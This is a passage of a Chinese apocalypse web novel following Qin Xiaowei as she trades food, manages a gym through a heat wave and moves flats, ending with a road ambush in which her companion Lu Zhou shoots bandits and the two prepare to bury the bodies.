这家伙到底存了多少吃的啊？ 不过他是从末世回来的，可能患有“食物不足恐惧症”，提前多囤点吃的也很正常…… 秦小薇挑挑拣拣，最后装了两大箱，在冷库里待得有点久，她已经觉得有点冷了。 她跺了跺脚：“我就要这些，你要多少培根？阿嚏——我们出去说吧！这里面太冷了！” “嗯。” 两人一前一后出了冷库的大门。 陆昼：“按照重量来吧，一比一换。” 秦小薇觉得挺合适的，现在就算她拿着空间里的东西去外面换，也不一定能换到品种这么全的肉类。 秦小薇：“行，你去拿称吧！” 两大箱东西加在一起一百多斤，秦小薇让他找了三个箱子，直接把东西从仓库里拿出来码进去。 从仓库拿东西出来的时候，她想到了一个问题：“这些东西进冷库后，不就又成了冻肉了？” 陆昼似笑非笑地看了她一眼：“那怎么办？你每天过来给我送新鲜的？” 秦小薇瞬间变脸，她一本正经道：“我之前看网上说，冷冻速度越快，对食物的口感影响越小……我看你家冷库冷气挺足的，这两箱东西放进去，再拿出来味道肯定和新鲜的差不多，香肠肯定不会嫌弃的！” 陆昼低低笑了一声，没有说话。 交易完，秦小薇看向另一扇门：“这边这间也是冷库？” 陆昼点头：“那边是冷藏区，存的是一些需要冷藏保存的东西。” 秦小薇有些好奇：“我能去看看吗？” “嗯。” 冷藏室和隔壁冷冻室的布置差不多，就是存的东西种类不一样，可能是担心外面温度太高食物会变质，一些可以常温保存的食物也存在里面。 香肠、虾米、鸡蛋、豆类、大米…… 除了吃的，她还看到了一大箱护肤品和面膜。 秦小薇又选了一些空间里没有的食物，和陆昼做了“交换”。 把东西收进仓库里之后，她心满意足地离开了。 等东西吃完了，她可以再来陆昼这进货，啊……不是，交易！ 秦小薇离开后，陆昼揉了下拉布拉多的脑袋：“好了，肉都给你买回来了，以后别想着去找她了！” “汪——”拉布拉多垂着尾巴趴在门口，并没有理他。 秦小薇没有回家，她跟着导航开车去了一家建材店，买了几根水管和转接头。 到家后，秦小薇直接带着鹦鹉和买回来的东西进了空间，想到医生的叮嘱，她没再往食槽里加杂粮，而是换成了更适合它的蔬菜、水果。 她戳了戳鹦鹉毛茸茸的身体：“行了，别蹭了，等你的羽管成熟了，我就帮你掐掉……” 撸完了鸟，她又带着东西去了陆昼之前开垦出来的那片菜地。 刚好今天有空，她打算把自动浇水装置弄出来，之后也能节省一些时间。 网上自动浇水器倒是挺多，但物流停滞，宁市很难找到商家卖这个，秦小薇在网上找了教程，打算用PVC管和塑料瓶自己做一个。 这东西原理非常简单，就是把瓶子固定在PVC管上面有点费手，秦小薇折腾了好几个小时，才把装置弄好。 装置固定好之后，她打开水龙头，扇形的水线立刻从PVC管里喷射而出。 效果很不错，可以省去浇水的时间！ 她关掉水龙头，又调整了一下PVC管的位置，才收拾了工具，离开空间。 解决一个麻烦，以后种菜就方便多了。 秦小薇原本是打算再招四个教练的，但她要求有点高，几轮面试过后，最后只留下了两个人。 有肖琳琳她们三个帮忙的话，再招两个教练勉强也够用了，缺的人后面可以慢慢找…… 很快，店里就开始正式营业了，为了应景，秦小薇还去买了些气球和彩带回来做装饰，健身房也推出了一系列优惠活动。 因为现在很多店铺都倒闭了，秦小薇担心一些顾客会有顾虑、对她们健身房没有信心，店里的会员卡都是一月一充值。 可能是因为之前积攒了不少人气，再加上试营业期间她们店在网上的口碑不错，开业前几天，店里的人流量竟然比之前试营业的时候还要多！ 虽然很忙，但店里的员工都很高兴——因为秦小薇给她们发了不少奖金。 这天，秦小薇正在盘库存，段霞却忽然找了过来：“薇薇，和你说件事。” “怎么了？”见她表情严肃，秦小薇的表情也变得正经起来。 段霞：“我发现公寓楼有些住户，装成顾客来我们健身房蹭水。” 秦小薇：“……” 秦小薇：“量大吗？” 都是邻居，如果量不大的话，就算了吧！ 段霞：“之前还好，她们也就拿个杯子过来装一两杯水，刚刚有个阿姨特别过分，一个人拿了八九个水杯，恨不得一次装走半桶水……” 秦小薇：这不是在薅她的羊毛？不能忍！ 高温快四个月了，就算再怎么节省，很多普通人囤的自来水也用得差不多了，就算嫌弃淡化水有腥味，为了活着，他们也不得不喝。 超市的淡化水是一块钱一瓶，价格不高，属于人人都能消费得起的那种，但超市限购，想要买更多的水，就得去同城APP上高价收，现在上面的水都涨到20一瓶了。 健身房的水可以无限续杯，运动完，还可以装一瓶带走，这对某些人来说，还是很有吸引力的，甚至还有人为了免费的水办卡。 正式营业以后，她们宣传的时候，也强调了这一点…… 万万没想到，最先来薅羊毛的，竟然是楼里的住户。 秦小薇：“阿霞，你和琳琳帮我在门口看着点，要是她们再来，你们帮忙拦着点，拦不住就叫我……尽量别吵架动手，影响不好。” 段霞：“好！” 没过多久，前台就过来通知她，说肖琳琳和楼里的邻居发生了争执。 秦小薇过去的时候，就见肖琳琳和一个中年女人吵了起来，中年女人嗓门太大，已经吸引了不少顾客的注意。 秦小薇：“出什么事了？” 肖琳琳指着地上一个水桶气愤道：“这个阿姨太过分 了，竟然拿着一个水桶来接咱们饮水机里的水！” 中年女人不满：“什么阿姨？叫大姐！你们健身房的水不是免费的吗？都是邻里邻居，本来就应该互相帮助，我接点水怎么了？” 秦小薇露出了在银行工作时的标准微笑：“大姐，我们健身房的水只对学员免费，要不您买几节课支持一下邻居的生意？我们现在买课有优惠，买十节送两节，一节课只要三百，还打八折……” 中年女人被这个价格吓到了：“这么贵？” 秦小薇：“大姐，瞧您这话说的！我们健身房的教练最差的都拿过全国比赛的奖牌，教练都很有实力的，这个价格已经很优惠了，健身房的环境也好，现在买课绝对物超所值！要不然这么热的天，也不会有这么多顾客上门不是？” 见中年女人被她怼得没话说，秦小薇又让前台去接了杯水过来：“大姐，都是邻里邻居，您要是渴得没水喝了，我肯定也得伸把手！这杯水您拿去喝，以后您再来，我再帮您接……” 她刻意加重了那个“帮”字。 中年女人看着一次性纸杯里的半杯水，表情有些难看。 她打发叫花子呢？ 秦小薇话锋一转：“大姐，咱们都是打工的，店里还装着摄像头，老板盯着呢，您真要是拿桶装走那么多水，老板那边我们也不好交代，您比我们年纪大，也算是大姐姐了，就别为难我们这群小姑娘了！” 吃了个软钉子，中年女人只能提着桶，不情不愿地离开，周围围观的顾客，也都散了。 肖琳琳悄悄松了口气：“薇薇，我还以为你会和她打一架！” 秦小薇：“做生意嘛！和气生财，能不动手还是不动手的好，再说了，咱们是网红店，这么多客人看着，真打起来对我们影响不好……” 范槿：“薇薇，你刚刚竟然还能笑得出来？我刚刚都想抽她，脸皮也太厚了！” 秦小薇揉了揉自己的脸：“在银行工作练出来的，态度不好会被投诉，很麻烦的……” 肖琳琳：“银行的工作这么可怕的吗？” 秦小薇讲了个冷笑话：“银行的工作，能让你一边数钱一边玩电脑，同时又让你觉得很痛苦……行了，这里我守着，你们去干活吧！” 之后，她又打发了好几波试图占便宜的邻居。 应付完这些人，秦小薇忽然发现，之前银行的实习也不是完全没用，至少给她增加了不少应付奇葩的经验！ 第62章 第62章下雨（双更合一）…… 肖琳琳端着一杯水走了过来：“薇薇,你还要在这守多久啊？” 秦小薇接过水一饮而尽：“怎么着也要守个几天吧！等那些人吃够了软钉子，也就不会再来了……” 肖琳琳：“要是她们还来呢？” 秦小薇不以为意：“软的不行，就来硬的呗,咱们可是教女子防身术的健身房,咱们这么多教练,还能被欺负了？” 肖琳琳：“当店长好难啊！每天要管那么多事……换我肯定不行，我以后还是老老实实当个举重教练吧！” 秦小薇：“还行吧！刚好售货区也在这边,我还能招待一下客人,一举两得……” 因为每次过来，只能蹭到一百多毫升的饮用水,要是不满意，还会被秦小薇变着法子推销高价健身课，渐渐地,楼里也就没人过来占便宜、薅羊毛了。 一转眼,一个多月的时间过去了，健身房的人流量渐渐稳定下来，秦小薇也习惯了每天起床后,吃完饭就来店里守着。 有事做事，没事就和大家一起聊聊天,或是和教练学散打、武术,或是自己躲在一旁玩手机。 生活十分规律。 中途，陆昼也找她收了两次物资，都是便于保存的粮食,数量并不多。 这一个多月的时间里，罗青和她老公成功离了婚，还从家暴男那拿到了一套房子和一笔钱。 可能是因为罗青的出现启发了几个月前处于迷茫期的她，秦小薇知道这件事的时候非常高兴,还自带“食材”，去她的新家做了一顿饭庆祝。 虽然桌上只有两碗青菜面，但两人都吃得挺开心的。 因为空调长时间运行，不堪负荷，这一个多月，搬去临时避暑点的市民越来越多，那边的居住环境也越来越差，但因为预警中心的消息，所有人都知道，这场灾难是有尽头的，再坚持一个来月就行了，所以他们闹出的乱子倒是没比之前多太多…… 这天中午，秦小薇睡得好好的，却忽然被一阵惊雷吵醒了，紧接着，她就听到公寓楼里传来一阵喧闹声。 她坐在床上反应了一会，才想起来，今天外面开始降温。 窗户内外的双层隔热铝膜已经挂了很久了，秦小薇赤脚下了床，她掀开窗户里面的隔热铝膜，打开已经好几个月没开过的窗。 惊雷过去就是闪电，紧接着，雨水像是断了线的珠子，从空中落了下来，滋润着这片干涸许久的大地。 今天的最高温，依旧有45℃，放在以前，算是极端高温了，但在连续五个月被50℃以上高温折磨的宁市人看来，今天已经很“凉快”了。 附近的建筑里，已经有人从楼里冲出去了，仰着头迎接这场迟来的雨水…… 还有些比较“豪放”的男性，在大街上脱得只剩下一个底裤，就着雨水搓起了澡。 放在以前，他们这种行为可能会被指指点点，但干旱了半年多，现在大家都无比激动，也就没人说他们了…… 还有人从家里拿了脸盆和水桶出来，放在外面的地上接水。 外面的雨有些大，雨水从打开的窗户飘进屋里，打湿了秦小薇新剪的短发，但她脸上却是带着笑的。 这场高温，终于结束了啊！ 外面温度很高，连雨水都是温热的，淋了雨之后也不用担心会感冒，勤劳的主妇把积攒了好几个月的臭衣服从屋里搬了出来，就着露天的雨水开始洗衣服、被套；就算是不愿意洗衣服的，也接了雨水回去洗澡洗头…… 高温这几个月，宁市的普通人都被迫调整成“阴间作息”，但这场雨下下来之后，普通人的作息却像是一下子调整回来了！ 原本龟缩在建筑里吹空调的人几乎都走了出去，感受这场他们期盼已久的大雨。 为了随大流，秦小薇也拿了盆和桶，出去接水。 因为下雨，三个室友和店里不少员工都和她请了假，秦小薇觉得，今天估计没多少顾客会来健身房，干脆给她们都放了两天假，她还登录了健身房的账号，公布了歇业两天和健身房即将改成白天营业的消息。 虽然今天温度依旧有点高，但秦小薇依旧把窗户内外的隔热铝膜全部摘了下来，顺带感受了下外面依旧炽热的阳光。 以后应该用不到它们了！ 因为室友时常来她家吃饭，为了不引起她们的怀疑，家里好几个月都没打扫了，趁着现在外面下雨，秦小薇找出已经干到结块的拖把，打算把地拖一下…… 正在她干活时，手机却忽然响了起来。 是新房东的语音电话。 六楼那套公寓的窗户之前被晒爆了，虽然健身房装修的时候换了新的，但重新安装隔热铝膜很麻烦，再加上九楼的公寓房租没到期，搬家容易出汗，秦小薇也就没急着搬家，一直住在九楼。 房东：“你的房子这个月月底就到期了，这房子我下个月不租了，我要自己住，你尽快找房子搬出去吧！我多补一个月的房租给你！” 新房东的声音有些苍老，语气中全是不容置喙。 秦小薇对此早有猜测，听到房东要撵人，她一点都不惊讶。 秦小薇果断道 ：“行，我会尽快搬走的！” 挂断电话后，她看了下手里的拖把，犹豫了一下，还是把屋里打扫干净了。 还是打扫干净吧！毕竟也在这里住了这么久！好聚好散！ 打扫完房间，秦小薇开始打包自己的东西，虽然她有空间，搬家非常方便，但她还是装模作样地往楼下跑了好几次。 除了她自己添置的小家电和家具，门口的摄像头，她也拆下来了。 屋里还有一套太阳能发电系统，这个需要高空作业绳，不在她的能力范围内，秦小薇打算去同城APP上花高价找师傅来拆装。 拆摄像头的时候，秦小薇碰到了李阿姨，可能是因为下雨了，李阿姨看上去非常高兴。 上次在楼下的便利店碰到李阿姨和他们家的保镖买能量饼干和水之后，秦小薇后来又在楼下碰到了他们几次，可能是渐渐习惯了，李阿姨后来就没那么不自在了，慢慢也能若无其事地和她打招呼、聊八卦。 李阿姨：“小秦，怎么把摄像头拆下来了？” 秦小薇：“这房子房东不租了，刚好这个季度的房租也快到期了，我打算搬到六楼去，离健身房也近，我上下班也方便！” 李阿姨有些惊讶：“不租了？咱们楼里这种情况，房东还能找到别的租客？” 秦小薇：“房东说他打算自己住……李阿姨，你等下！” 她从口袋里摸出电梯卡：“李阿姨，这电梯卡还给你！这段时间，电梯卡真是帮了我大忙了，真的谢谢你！” 之前健身房装修的时候，为了方便器械和建筑材料进门，陆昼联系奚川的保镖帮忙改了权限，让电梯在六楼也能停靠，她这几个月一直在用电梯卡，上下楼还算方便。 但她搬走之后，她和奚川就不算对门邻居了，再用人家的电梯卡似乎也不太合适。 正在这时，对面的大门打开了，奚川穿着一身短袖短裤走了出来，似乎是听到了两人的对话，他开口道：“不用了，电梯卡你拿着用吧！这卡本来就是陆昼给你的！” 秦小薇：？？？ 电梯卡是陆昼给她的？ 她看向李阿姨：“李阿姨，这卡不是你给我的吗？” 李阿姨摆了摆手：“电梯是少爷买的，我哪能做他的主？陆少爷说你是他的校友，听我说你一个人摆摊上下楼不容易，就说要给你送电梯卡……怕你不愿意拿，才说是我给的。” 奚川：“他这人就是有点烂好心，看到其他人有困难就想帮一把……你们认识这么久，应该也知道的吧？” 秦小薇忽然多出一大笔钱太不合理，她对外说的是健身房是别人的投资，她只负责管理，李阿姨他们都以为健身房是陆昼的投资，秦小薇只是他请的店长。 秦小薇：“……”烂好心？依她看，是居心叵测、蓄意接近吧？ 李阿姨还在边上附和：“陆少爷确实好心，要不是他提前送了种子、树苗过来，咱们后面一个多月，就只能干啃能量饼干了……” 秦小薇不理解他们对陆昼的滤镜，但她也没打断两人，只露出一个礼貌的笑。 好在两人也只夸了陆昼几句，就前后脚离开了。 傍晚的时候，秦小薇看到市政在网上发布了一则公告。 因为高温，宁市这几个月死了不少人，为了防止尸体滋生病菌，火葬场几乎是24小时开工，但并不是所有的骨灰都有人领取，这些骨灰就这么堆着也不是个事，市政便准备建一座大型公墓，把这些人合葬了。 之后，市政还会在官网公布这些人的基本信息，亲人如果想要去祭拜，也不至于找不到地方。 对普通人来说，亲人的离世就已经让他们很难受了，要是连骨灰也没有，连个寄托哀思的地方都找不到，那必然会成为一辈子的遗憾。 这条公告下面，有人在关心公墓什么时候建成、位置在哪里；还有人大骂医疗系统，抱怨高温的时候医院不给开药；还有人抱怨市政的工作做得不到位，导致这么多人的死亡…… 不过大部分过激言论，还没发出来就被系统删除了，某些就算没触发删除的关键字，过不了一会，也会被人工删除。 消极的情绪是会传染的，尤其是现在还是末世，暴雨之后，网上一些负面情绪很严重的视频、图片，平台都会限流，普通人就算刻意去搜索，也不一定能看到。 要是有人肆意宣传“末世论”，还会被禁言封号…… 为了调整作息，秦小薇硬是等到了晚上十点才睡，可能是因为作息一下子改不过来，她的睡眠质量并不是很好，中途醒了好几次。 第二天早上，她在家里等同城APP上高价找的师傅上门，没想到师傅没来，却先等来了社区的工作人员。 工作人员对他们公寓楼进行了一次“人口登记”，外加检查楼里有没有尸体臭在家里没被发现。 除此之外，他们还给了秦小薇一个小小的密封袋，提醒她要注意卫生，不要喝生水…… 密封袋里是高温的时候就在药店上架的虱子粉和之前就大面积推广过的净水片，以及一小块可以洗全身的肥皂。 这几样东西，对于脏了几个月的宁市人来说，现在确实算是必需品了。 秦小薇觉得，市政的工作人员想得还是挺周到的，不过可能是人口基数太大了，发的东西有点少，肥皂只有两指宽，感觉用个一两次就用完了…… 大雨一连下了四天，外面的温度降得很快，不过短短四天，最高温就降到了33℃。 很多停工的行业都陆续复工了，可能是因为有充足的电量供应，宁市的恢复速度比之前水退的时候更快。 网上，几乎每天都有人现场直播郊外水库的水位，没水实在是太不方便了，所有人都在翘首等待自来水恢复供应。 太阳能发电板拆下来之后，秦小薇又把九楼的公寓打扫了一遍，才通知房东过来交接。 房东是个六十多岁的老人，穿着一身老头衫，身上却有一股难以掩盖的文化人气息，他从一楼爬上来的时候，累得一直在喘气。 房东：“这楼里的电梯怎么用不了？” 秦小薇很惊讶，这位新房东，买房之前，竟然连公寓楼的情况都没打听一下。 秦小薇：“呃……电梯之前暴雨的时候被水泡坏了，业主们又一直没出钱换新的，电梯也就一直坏着，现在那台能用的电梯是对面自己装的，得刷电梯卡才能用……” 新房东皱眉看着对面的大门，并没有说话。 屋里和秦小薇刚搬进来的时候差不多，家具、电器都没有损坏，房东简单看了一下，就和秦小薇完成了交接。 秦小薇的健身房也恢复营业了，但可能是因为学员都陆续复工了，温度降下来之后，健身房的人流量一下子少了不少，不过收入暂时可以平衡开支，她也就没太焦虑，每天矜矜业业地在网上打广告…… 毕竟她们健身房的口碑摆在那里，要是女性有这方面的需求，上 网一搜，肯定会首选她们健身房。 她对健身房的未来还是很有信心的！ 这天，秦小薇正在健身房上网摸鱼，手机忽然给她推送了一条直播新闻。 看到标题后，她点进去看了看，顿时就被屏幕里的画面震撼到了。 一望无际的平原上，数百台大型机械一遍遍碾过被雨水浇灌过的土地……航拍镜头不断上升，试图让屏幕外的人看到土地的全景。 但视频里的土地太过广袤，就算航拍镜头飞得很高，屏幕外的人依旧看不到土地尽头，连那些大型机械也被衬得“渺小”起来。 这是一个种地的直播视频，视频里是全机械化种植，过了一会，画面切换到主持人身上，她脸上带着明显的笑容，正和屏幕外的观众介绍着这片土地预计能在多少天内完成播种，之后又能收获多少粮食云云…… 秦小薇注意到，虽然视频里种的都是红薯、玉米这种高产粮食，但两个月之后，这个世界可是会连续发生台风、地震和冰雹的！ 这些粮食真的能活到收获的时候吗？ 但转念一想，上面的人肯定比她知道的多，天气情况都是可以通过设备监测到的，既然都安排了种植，肯定有他们的考量。 毕竟都实现全机械化种植了，这些天灾应该也是可以预防的…… 现在除了市政的某些机构能吃上特供菜，高温几个月，地里的作物基本上都枯死了，原本住在临时避暑点的农民，回家后，也纷纷开始平整土地，种菜、种粮…… 刷了会视频，秦小薇就合上了手机，她看了下时间，打算去隔壁吃个午饭再睡个午觉。 秦小薇：“阿霞，我回去睡个午觉，你们要回宿舍午休吗？” 之前温度太高，来回健身房和宿舍会出很多汗，所以她们中途是不回去的，只在健身房里自己找瑜伽垫躺着休息，但现在温度没那么高了，学校离得也不远，她们中午完全可以回1206午休，下午再来上班。 范槿：“回宿舍吧！还是睡床更舒服……” 秦小薇：“行……” 她正准备离开，却注意到段霞的脸色有点不对劲，便停下了脚步：“阿霞，你身体不舒服吗？怎么脸色这么难看？” 段霞还没说话，肖琳琳就替她抢答了：“上午阿霞的爸妈给她打电话了，催她回老家……” 秦小薇知道，高温还没结束的时候，段霞就在关注招聘会的事，但不管是校招还是社招，都没有招聘会的消息，她投出去的简历也全都石沉大海。 这几天，段霞的情绪肉眼可见地有些焦躁。 不过，这也是Q大大部分毕业生现在面临的问题。 毕业在即，社会上的失业人群却越来越多，就算想找个洗盘子、摇奶茶的工作过渡一下都难如登天…… 秦小薇伸手抱了一下她：“阿霞，工作肯定能找到的！你别着急……” 要是她们真的找不到工作，也能继续在她的健身房做兼职，有她给她们发工资，她们总归是不会饿死的。 至于正式工作……她们三个在防身术上面的专业性和健身房其他几个教练差太多了，真要是招了她们当正式教练，她们也只能和现在一样，帮会员做做体能训练，有其他人对比，她们的课估计很难卖出去。 所以段霞和她爸妈之间的矛盾，她暂时解决不了…… “嗯。”段霞点点头，情绪依旧很低落。 秦小薇回家后，就反锁了房门，直接进了空间。 上次从陆昼那“交易”了几箱物资后，秦小薇饭桌上的菜丰富多了，有好吃的在前面吊着，她时常来空间里做顿好吃的犒劳自己。 今天的中饭是青椒牛柳、刀拍黄瓜和丝瓜蛋汤，三道菜，刚好够她吃两顿。 “吃饭、吃饭！”小黄拍了拍翅膀，停在她的饭桌旁。 “知道了！等着啊！”秦小薇拿了两个小碟子，放在自己对面。 碟子里放着一些坚果、杂粮还有一些蔬果，虽然每种东西的量都不大，但种类非常丰富。 自从秦小薇帮它把头顶的羽管处理掉之后，小黄就和她越来越亲近，基本上她每次进空间，它都会飞到她肩膀上，和她撒娇。 吃饭的时候，也要和她一桌吃。 秦小薇也不介意吃饭的时候多个鹦鹉搭子，还专门给它准备了漂亮的陶瓷碟子当饭碗。 就是养了这么久，秦小薇几乎每天都会教它说话，但它依旧只会说那四个词语，时常让她怀疑这只鸟的智商是不是有点问题…… 秦小薇：“小黄，我照着网上的教程给你做了个站架，据说可以磨牙磨爪子，你待会站上去试试……” 鹦鹉低头啄食碟子里的东西，并没有回话。 秦小薇已经习惯了，刚开始还会戳它两下表示不满，现在她一个人也能说得很开心。 主要是……这只小鸟实在是貌美，就这么安静待在那，也让人觉得赏心悦目。 它还会和她撒娇，任她摸毛，会不会说话……好像也没那么重要？ 吃完饭，带着小黄在空间里散了会步消食，秦小薇才出去睡午觉，但她睡了没一会，就被电话铃声吵醒了。 “喂？什么事？”她的声音里带着一丝怨气。 “明天有空吗？和我去趟隔壁省！”陆昼的声音从听筒里传了出来。 秦小薇忍不住皱眉：“去隔壁省干吗？” 陆昼：“你说我找你能有什么事？” 秦小薇：“……”睡糊涂了！ 她从床上坐了起来，烦躁地挠了挠头：“一定要去吗？” 陆昼：“嗯。” 她想了想，健身房开了这么久，早就步入正轨了，她离开两天好像也没什么关系，到时候把钥匙托付给三个室友，让她们按时过来开门就行了…… 秦小薇：“行吧！怎么过去，坐火车还是汽车？” 陆昼：“我们开车过去。” 秦小薇问了出发的时间，就挂了电话，继续睡觉。 下午的时候，她和健身房的员工说了这件事，她给出的理由是要去外地考察一下有没有更合适的防身物品，想给店里增加一些新货。 因为店里的防身物品都是从外地运过来的，秦小薇之前也说过，售货区的选品都是她亲自挑的，店里的员工对这个理由倒是没有怀疑。 三个室友还叮嘱她，出门在外注意安全，毕竟现在外面的治安还没完全恢复…… 第63章 第63章山体滑坡（双更合一）…… 因为空间里什么都有,缺什么直接从空间里拿就行了，秦小薇出门的时候，也就没带太多东西,只拿了一个背包。 上车后,她看到车里只有陆昼一个人,还有些意外。 秦小薇：“哟，这次没带着狗一起出门？” 陆昼的手搭在方向盘上：“它现在可比我忙多了……” 秦小薇想到了前几天社区上门登记人口、排查尸体的事,对拉布拉多现在在“忙”什么有了些猜测,没想到高温过后，陆昼闲下来了,狗却忙起来了。 陆昼定的出发时 间是早上六点，平时这个时候，秦小薇都还没起床,她打了个哈欠,从“背包”里拿出充气U型枕，靠在副驾驶座上，闭上眼睛开始补觉。 陆昼看着她的动作直皱眉：“你怎么上车就睡？真把我当你的司机了？” 秦小薇睁开左眼看了他一眼,懒洋洋道：“谁让你没提前找司机？要不然你现在也能补觉。” 陆昼：“……” 可能是因为这辆车比较贵，乘坐体验比秦小薇上次坐的大卡车好了不止一星半点。 舒舒服服地补了一个多小时觉,她才从梦中醒来,她朝外面看了看，他们已经上了高速路，高速路两旁都是荒地,有农民正扛着锄头在田里劳作…… 秦小薇趴在窗户上朝外面看了一会，片刻之后，她转头看向陆昼：“你说……他们种的东西能顺利收获吗？” 陆昼的视线依旧盯着前方的道路：“难！” 秦小薇：“是因为台风和冰雹吗？应该不会持续太久吧？” 陆昼：“大大小小的地震会持续半个月左右，之后的台风天和冰雹会持续一个来月,那时候，出门不戴头盔都可能被冰雹砸死，戴了头盔，则可能被台风卷走……你说他们种的东西能不能顺利收获？” 秦小薇：“那国家还种那么多地？” 陆昼：“他们又没在Q省种。” 秦小薇：“……” 秦小薇：“之后呢？台风冰雹之后呢？还会有什么灾难？” 陆昼：“之后咱们这会平静几个月，但别的省会出现海啸和飓风……” 秦小薇继续追问：“再然后呢？” 陆昼终于转头看了她一眼，他勾了勾唇角：“再然后……就超过我们约定的范围了！” 秦小薇：“……” 秦小薇不满地嘟囔了一句“真没劲”，她摸了摸自己的肚子，觉得有点饿了，便借着背包的遮掩，从空间里摸出草莓麦片和牛奶，开始吃早饭。 草莓麦片干吃很像薯片，车里顿时充斥着“咔嚓咔嚓”的声音。 等麦片牛奶吃完了，她又掏出手机，开始看电影打发时间。 姿态比她在家里的时候还要悠闲。 十一点的时候，陆昼在一个服务区停了下来，服务区只有能量饼干和淡化水卖，秦小薇不想吃，继续在车里吃培根面包配牛奶。 陆昼下车去买了几瓶水，回来后，他拿出便当盒，开始吃中饭。 秦小薇看了眼他那份连摆盘都十分精致的便当，又看了看手里的面包牛奶，顿时觉得食欲大减。 这家伙怎么比她一个女孩子还要精致？ 吃完饭，两人继续上路，下了高速之后，路面就没那么平稳了，手机屏幕晃得她头晕，秦小薇干脆把手机收了起来。 想到九楼公寓的新房东，秦小薇主动找话题：“末世的消息，宁市很多人知道吗？我之前住的那间公寓，几个月前换了房主，高温一结束，他就迫不及待地把我扫地出门了……” 陆昼：“要提前囤积物资做各种安排，就算上面不明说接下来有什么灾难，一些嗅觉灵敏的也能猜到……你新房东叫什么名字？” 秦小薇：“不知道，你问这个干什么？” 陆昼：“查查他，看是谁泄露了信息……你和我说这些，不就是想让我替你报他把你扫地出门的仇吗？” 秦小薇：？？？ 她疯狂摆手，直接否认三连：“我不是，我没有，别瞎说！我就是看车里太安静了，找个话题聊聊天……再说了，人家提前通知我了，还给了我一个月的房租当违约金，都是按照合同办事，我报复他干什么？吃饱了撑着吗？” 陆昼看了她一眼：“我还以为，像你这样的普通人，有了‘靠山’后，会把那些欺负过你的人都踩在脚底下……” 秦小薇：“你是想说我小人得志吧？没事少看点逆袭流小说，我看你好像浏览太多垃圾信息，把脑子看坏了！” 陆昼被吐槽了也没生气，反而笑了起来，一副心情很好的模样。 惹得秦小薇忍不住多看了他两眼，被骂了还笑得这么开心，什么毛病？ 下午四点多的时候，外面开始下雨，前方的路面更是变成了凹凸不平的石子路。 就算车子的性能很好，秦小薇坐在车里面，依旧觉得很颠簸。 秦小薇看着外面的环境，忍不住皱眉：“陆昼，咱们到底要去哪？” 陆昼：“到了你就知道了！” 不知开了多久，陆昼突然一个急刹车，停了下来。 “到了？”原本昏昏欲睡的秦小薇瞬间清醒。 陆昼：“车胎好像爆了。” 秦小薇：？？？ 车胎爆了？在这种前不着村后不着店的地方？ 陆昼准备的物资里面有没有轮胎？好像没有…… 不慌！她空间里还有别的车，他们不会孤男寡女困在这里的！ 秦小薇：“我空间里还有几辆大卡车，我们——” 她的话还没说完，前方就有几束手电筒的光朝着他们射了过来，光线十分刺眼，她下意识伸手遮挡。 五六个穿着雨衣的高大男人从路边走了出来，其中一人靠近敲了下车窗，冲着车里的两人做了个手势，示意他们下车。 秦小薇看向陆昼，不确定道：“咱们这是碰到劫道的了？” 陆昼的手摸向自己的后腰，那里有一个枪套。 陆昼：“下车吧，让我看看你最近在射击馆训练的成果……” 秦小薇：？？？ 秦小薇：！！！ 还不等秦小薇反应，陆昼就主动拉开车门，下了车。 “把手举起来——”穿着雨衣的男人话还没说完，就吃了一颗花生米，倒了下去。 秦小薇：！！！ “老三——”另一个穿着雨衣的男人大喊一声，举着锄头朝着陆昼挥去。 “砰砰砰——”陆昼的枪法很准，不过片刻，拦路的几个男人就接连倒下了，有人见情况不对，想要逃跑，但他们的速度怎么可能快得过子弹……手|枪装了消音器，几人倒下的声音在黑暗中并不明显。 秦小薇看着站在雨幕里的陆昼，觉得他此刻就像是一个无情收割人命的雨夜屠夫…… 陆昼扶着车门，弯腰看着车里满眼惊惧的她，似乎一点都不介意大雨淋在身上，他笑得十分恶劣：“喂，咱们一起碰到了路匪，你不打算出份力吗？” “你想让我怎么出力？”秦小薇极力保持镇定，不想让他听出自己声音里的颤抖。 陆昼：“我上次给你的枪呢？” 秦小薇：“干什么？” “我给你留了一个，把枪拿出来，去解决他吧！”他指了下远处正在地上挣扎着往前爬的人。 秦小薇这才发现，原来并不是所有的路匪都被他一击毙命，他还特地留了一个人，让她解决。 秦小薇：“……”这狗男人，为什么非要让她做这种事？ 她磨磨蹭蹭地不愿意下车，陆昼却绕过来打开车门，把她强行从车上拉了下来，他凑到她耳边，蛊惑道：“那个人已经失去行动力了，现在动手，和你在射击馆打靶没什么区别……” 秦小薇：怎么会没有区别？射击馆的枪都用链子和锁拴着，根本没法拿手里把玩，而且……那是一个活生生的人，不是靶子！ 她不满地看着他：“你为什么要动手，把人抓起来送警察局不就行了？” 陆昼：“像他们这种垃圾，送去牢里也是浪费粮食！还有，去了警察局，你打算怎么解释咱们出现在这里的原因？” 秦小薇：“……” 就算是这样，也不能随便杀人吧！ 陆昼把枪递到她面前，见秦小薇一直不接，他“啧”了一声，调转枪口，给了远处还在地上爬行的男人一粒花生米。 陆昼：“行了！不勉强你了，别露出这种表情，好像我怎么了你似的……你先把人装进空间里，等雨停了，我们再找个地方把他们埋了。” 这回，秦小薇没有露出太抗拒的表情，把尸体和车收进空间里之后，他们往前走了一段，越过这段被撒了钉子的水泥路，换了辆大卡车代步。 今晚的雨很大，就算他们不刻意处理，雨水也会冲刷掉这些人留下的痕迹。 湿衣服穿在身上很难受，秦小薇还回空间里换了身衣服，虽然已经洗过手了，但她还是带了包湿巾出来，不断擦拭着刚刚触碰过尸体的右手。 她总感觉尸体的温度一直残留在她的右手上…… 找地方扔湿巾的时候，秦小薇才注意到，陆昼右手的手臂，不知何时多了一道擦伤。 秦小薇：“你受伤了？” 陆昼顺着她的视线看到了手上的擦伤，不在意道：“刚刚有个路匪手里有改造过的射钉枪，他动手的时候 ，不小心挨到了，没什么事……” 秦小薇皱眉：“射钉枪？” 陆昼：“嗯，离得近的话，那玩意的杀伤力没比我的枪小多少。刚刚要是我没提前动手，死的可能就是我俩了……秦小薇，现在是末世，以后遇到这样的事，记得把你的同情心收一收！” 秦小薇：？？？ 秦小薇瞪他：“你从哪看出来我同情那群路匪了？” 她要是真同情那群人，会用自己的空间装尸体，帮他毁尸灭迹？ 她只是不习惯他的行事风格而已，总觉得碰到了事，要把人抓去交给警察…… 陆昼：“没同情最好！” 大概一个多小时后，雨停了下来，卡车又往前开了一段时间，才在一座山脚下停了下来。 陆昼：“就这吧，咱们上山找个地方，把那几个人埋了……” 秦小薇：继COS了雨夜屠夫之后，他还要在晚上摸黑上山埋尸？这趟物资收得可真“刺激”啊！ 